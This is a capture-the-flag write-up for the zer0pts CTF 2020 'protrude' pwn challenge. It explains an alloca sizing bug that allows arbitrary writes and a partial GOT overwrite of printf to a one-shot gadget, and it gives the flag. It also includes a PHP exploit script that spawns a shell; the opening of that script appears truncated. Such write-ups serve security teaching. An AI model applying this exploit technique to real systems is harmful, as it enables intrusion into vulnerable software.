# protrude - zer0pts CTF 2020 (pwn, 525p, 22 solved)## Introduction
protrude is a pwn task.
An archive containing a binary, its source code and a libc is provided.
The binary asks the user for up to 22 numbers and calculates the sum of thesenumbers.
## Vulnerability
The binary allocates room on the stack with `alloca`. It ensure that there is nomore than 22 numbers and allocates `n * 4` bytes.
It then reads `n` long integers, and calculates the result.
The vulnerability lies in the fact that a long integer does not have a size of4. The allocated buffer is half too short to hold every numbers.
The variables on the stack are ordered this way:```cvoid  *rip;void  *rbp;void  *rbx;long   canary;long  *array;long   sum;size_t i;long   array[k];long   array[k - 1];long   array[k - 2];long   array[k - 3];...```
Writing past the array will overwrite the index at which the user's input isread. It is possible to write anywhere by overwriting this index to point to the`array` pointer, and overwrite it in turn with an other pointer.
## Exploitation
It is not possible to ROP because it is not possible to leak the canary (or anyaddress) : the program quits once the sum is printed, with no way to come backto the main loop.
It is possible however to overwrite the global offset table. Replacing a pointerwith a pointer to the libc because the libc is subject to ASLR.
However, it is possible to overwrite partially one of the pointer and have areduced probability of guessing the ASLR.
One possibility is to partially overwrite the last 3 bytes of the pointer to`printf` with `0x04526A`, which points to a one-shot gadget (satisfied when`RSP + 0x30` is NULL). This strategy should work once every 4096 times onaverage.
**Flag**: `zer0pts{0ops_long_is_8_byt3s_l0ng}`
## Appendices
### pwn.php
```php#!/usr/bin/phpwrite(str_pad("22", 0x20));$t->write(str_repeat("0", 0x20 * 14));$t->write(str_pad("15", 0x20));$t->write(str_pad(0x00601030 - 0x11 * 8 - 5, 0x20));$t->write(str_pad(0x04526A << (5 * 8), 0x20));$t->write("echo shell\n");
/* Read every responses */$t->expect("n = ");for($i = 0; $i < 15; $i++)	$t->expect("num[" . ($i + 1) . "] = ");$t->expect("num[17] = ");$t->expect("num[18] = ");$t->expectLine("shell");
printf("[*] Shell\n");$t->pipe();```